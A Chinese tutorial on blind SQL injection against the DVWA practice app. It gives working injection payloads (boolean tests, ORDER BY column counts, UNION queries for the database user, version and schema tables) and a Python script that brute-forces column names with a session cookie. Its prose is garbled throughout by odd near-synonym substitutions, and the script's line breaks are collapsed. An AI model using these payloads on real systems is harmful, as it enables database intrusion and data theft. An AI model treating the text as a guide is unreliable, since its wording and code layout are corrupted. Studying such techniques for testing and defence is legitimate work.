比较常见类型漏洞讲解(二):文件上传
比较常见类型漏洞讲解(三):SQL注入(一)
比较常见类型漏洞讲解(四):SQL注入(二)

前面先容过SQL注入,这里就来先容一下SQL盲注。
SQL盲注观点前面讲的sql注入内容都是基于输入缺点的sql语句,做事器会返回数据库内建的报错信息,以是我们可以预测目标数据库是怎么布局的。
但是当程序员隐蔽了数据库内建报错信息,更换为通用的缺点提示,我们利用sql注入漏洞时将无法依据报错信息判断注入语句的实行结果,即这种注入操作就叫盲注。
判断SQL盲注的依据当然,盲注也是须要判断依据的,不然又怎么剖断到底存不存在SQL盲注呢。而盲注是基于逻辑真假的不同结果来判断的。
比如当传入真的结果并取与:
传入1' and 1=1 -- ,实行成功
传入假的结果并取与:
传入1' and 1=2 -- ,实行失落败
判断和利用SQL盲注的时候,一定要将原正常sql补充完全,由于and旁边的结果是在取与,一旦左侧的结果是假,后面我们预测部分的内容就没故意义了。
SQL盲注的利用在剖断存在SQL盲注的漏洞时,我们就可以按照前面学过的思路,一步一步猜数据库了。先来测当前查询的表有几个字段吧:
1' order by 2 --
通过不断提升order by后面跟的数字,当能放复书息时,就表示被查询表的字段数不小于利用的数字。在DVWA这个入口查询的表,利用“1' order by 3 --”查询时,没有结果显示,就表示,被查询表只有两个字段。
确认连接数据库利用的账户和数据库名称也非常大略:
1' union select user(), database() --
返回了两个结果,第二条是我们想看到的信息,账户和数据库名称。查询版本信息只要将sql中传入version()就可以。
1' union select user(), version() --
查询数据库中的库名和表名可以实行下面这个sql语句:
1' and 1=0 union select table_name,table_schema from information_schema.tables#
union前面的部分是让原查询失落败,union是联合查询的关键字,union后面部分的语句是我们想要查询的内容。
当当前账号无权访问information_schema库时,我们还是可以利用字典来匹配,比如猜当前查询表的字段,可以利用这样的sql:
# 个中user是我们预测的字段名,用字典中的字段名填入进去实行就能知道存不存在该字段1' and user is not null #
还是写个python脚本:
import sysimport requestsdef tables_attack(file_name): f = open(file_name) list_name = f.readlines() f.close() for i in list_name: i = i.strip('\n') if i == '': continue url = 'http://192.168.218.129/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+' + i + '+is+not+null%23&Submit=Submit#' headers = {'Cookie': 'security=low; PHPSESSID=355f404c2619a23fd9b8aa4dc54dda3a'} resp = requests.get(url=url, headers=headers) if b'First name' in resp.content: print(i)if __name__ == '__main__': file = sys.argv[1] tables_attack(file)
猜表名可以用这个sql语句:
# user是前面测试出来的这个表存在的字段,table是我们预测的表名1' and table.user is not null #
将上面的python脚本中的url改一下就可以用来测试表名了。
猜当前数据库中其他表名,可以利用这个sql语句:
# table便是我们预测的其他表名1' and (select count() from table)>0 #
预测表和字段之间的关系,可以利用这个sql语句:
# table是表名,在前面已经猜出了部分表名,column可以是字典里的内容# 这个和前面猜当前表的字段实在是一样的逻辑1' and table.column is not null #
猜字段内容可以利用这个sql语句:
# admin是我们预测的内容1' and user = 'admin# a是我们预测的内容1' or user like '%a%
但是直接猜某个字段的内容实在比较少,除了一些分外的信息,比如管理员信息,会有固定标记的。
总结不管是SQL注入还是SQL盲注,想要利用好这些漏洞,提前去学好SQL,对付一些常用的语法和方法有比较闇练的节制,都会对你挖掘出漏洞代价带来帮助。